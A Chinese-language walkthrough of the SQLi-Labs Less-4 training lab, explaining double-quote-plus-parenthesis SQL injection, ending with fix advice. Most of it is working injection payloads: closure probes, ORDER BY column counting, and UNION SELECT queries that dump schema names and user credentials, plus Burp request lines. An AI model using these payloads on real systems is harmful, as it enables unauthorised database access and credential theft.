SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)
一、关卡核心信息
| 项目 | 详情 |
|---|---|
| 漏洞类型 | GET型双引号+括号字符型SQL注入(字符型注入的经典变体) |
| 核心特征 | 后端SQL语句中,id参数被("")包裹(即id=("1")),需用")闭合双引号+括号 |
| 前置条件 | 已完成SQLi-Labs靶场搭建与数据库初始化 |
| 工具准备 | 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证) |
| 通关目标 | 掌握双引号+括号的闭合格式,完成敏感数据窃取,理解不同引号类型的注入差异 |
二、核心原理(教学重点)
Less-4 是字符型注入的典型变体,与前3关的核心差异在于参数包裹格式:
- Less-1:
id='1'(单引号) - Less-3:
id=('1')(单引号+括号) - Less-4:
id=("1")(双引号+括号)
此类注入的关键是通过报错判断引号类型(双引号)和括号包裹,再针对性构造闭合语句,是真实渗透中高频出现的场景(如开发者习惯用双引号包裹字符串参数)。
三、通关步骤
步骤1:判断注入类型与闭合方式(核心)
-
正常访问基准页 :
访问地址:
http://[靶场IP]/sqli-labs/Less-4/?id=1回显结果:页面正常显示
Your Login name:Dumb、Your Password:Dumb,确认id=1查询有效。 -
测试单引号闭合(排除法) :
输入Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=1'回显结果:页面无报错、无异常(仅显示空白或原页面),说明不是单引号闭合。
-
测试双引号闭合(关键) :
输入Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=1"回显结果:出现MySQL语法错误,关键提示为
near '"1"") LIMIT 0,1' at line 1。分析报错:
"1"")说明后端拼接后是id=("1""),即原语句格式为id=("参数"),需用")闭合双引号+括号。 -
验证闭合有效性 :
输入Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=1") --+说明:
")闭合id=("1")中的双引号和括号,--+注释后续多余字符(浏览器自动转+为空格)。回显结果:页面恢复正常,验证闭合格式为
")。
步骤2:确定查询字段数(ORDER BY 法)
- 输入Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 3 --+
回显:页面正常,说明字段数≥3。 - 输入Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 4 --+
回显:出现Unknown column '4' in 'order clause'报错。 - 结论:原查询语句的字段数为3。
步骤3:定位回显位置(UNION 联合查询)
- 构造Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
关键说明:id=-1:让原查询无结果,强制显示联合查询内容;"):闭合原语句的("")格式;union select 1,2,3:匹配3个字段数,测试回显位置。
- 回显结果:页面显示
2和3,确认第2、3字段为可回显位置。
步骤4:逐层获取数据库敏感信息
(1)查询当前数据库名与数据库用户
- Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,database(),user() --+ - 回显结果:
database()显示security,user()显示root@localhost。
(2)查询security数据库下的所有表名
- Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ - 回显结果:显示
emails、referers、uagents、users,核心目标表为users。
(3)查询users表的所有字段名
- Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ - 回显结果:显示
id、username、password。
(4)查询users表中的账号密码(通关核心)
- Payload:
http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --+ - 回显结果:显示所有用户凭证(如
admin:admin、test:test),完成敏感数据窃取。
步骤5:Burp Suite Repeater 适配操作(避坑重点)
Repeater 中+不会自动转空格,需替换为%20(URL编码空格),正确Payload示例:
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --%20 HTTP/1.1
或使用%23(URL编码#)简化:
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users %23 HTTP/1.1
四、常见错误与排错(教学必讲)
| 错误Payload | 报错原因 | 修正方案 |
|---|---|---|
id=1' --+ |
误用单引号闭合,原语句为双引号包裹 | 改为id=1") --+ |
id=1" --+ |
仅闭合双引号,未闭合括号,语法错误 | 改为id=1") --+ |
id=-1" union select 1,2,3 --+ |
闭合格式错误,缺少括号闭合 | 改为id=-1") union select 1,2,3 --+ |
Repeater中--+ |
+未编码,注释失效导致语法错误 |
替换为--%20或%23 |
五、漏洞修复方案
Less-4 漏洞本质是后端未过滤双引号、括号等特殊字符,直接拼接SQL语句,修复需从"输入校验"和"语句安全"入手:
-
特殊字符过滤 :过滤双引号、括号、注释符等,示例(PHP):
php$id = str_replace(['"', '(', ')'], "", $_GET['id']); -
预编译语句(推荐) :使用PDO/MySQLi预编译,彻底避免SQL拼接,示例:
php$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1"); $stmt->execute([$id]); -
参数类型强制转换 :若
id为数字,直接转为整数,拒绝字符串参数:php$id = intval($_GET['id']);
六、图文并茂实训标注建议
| 截图序号 | 截图内容 | 核心标注 |
|---|---|---|
| 1 | 正常访问id=1的页面 |
标注"基准页,原语句格式为id=("1")" |
| 2 | id=1"的报错页面 |
标注"报错关键:"1"") → 闭合格式为")" |
| 3 | id=1") --+的正常页面 |
标注"闭合验证成功,双引号+括号均闭合" |
| 4 | 联合查询显示表名的页面 | 标注"回显位置:第2字段显示表名" |
| 5 | 获取账号密码的最终页面 | 标注"核心成果:users表敏感数据泄露" |
七、通关总结
Less-4 核心考点是双引号+括号的字符型注入闭合逻辑,通关关键可总结为3步:
- 判类型 :单引号测试无报错 → 换双引号测试,从报错反推闭合格式(
("")); - 做闭合 :用
")完成双引号+括号的双重闭合,确保SQL语法合法; - 拿数据 :后续
ORDER BY、UNION SELECT逻辑与前3关一致,仅闭合格式不同。
此类双引号包裹的注入场景在真实开发中常见(如开发者习惯用双引号定义SQL字符串),掌握"先单引号、后双引号"的测试顺序,是快速定位字符型注入闭合格式的核心技巧。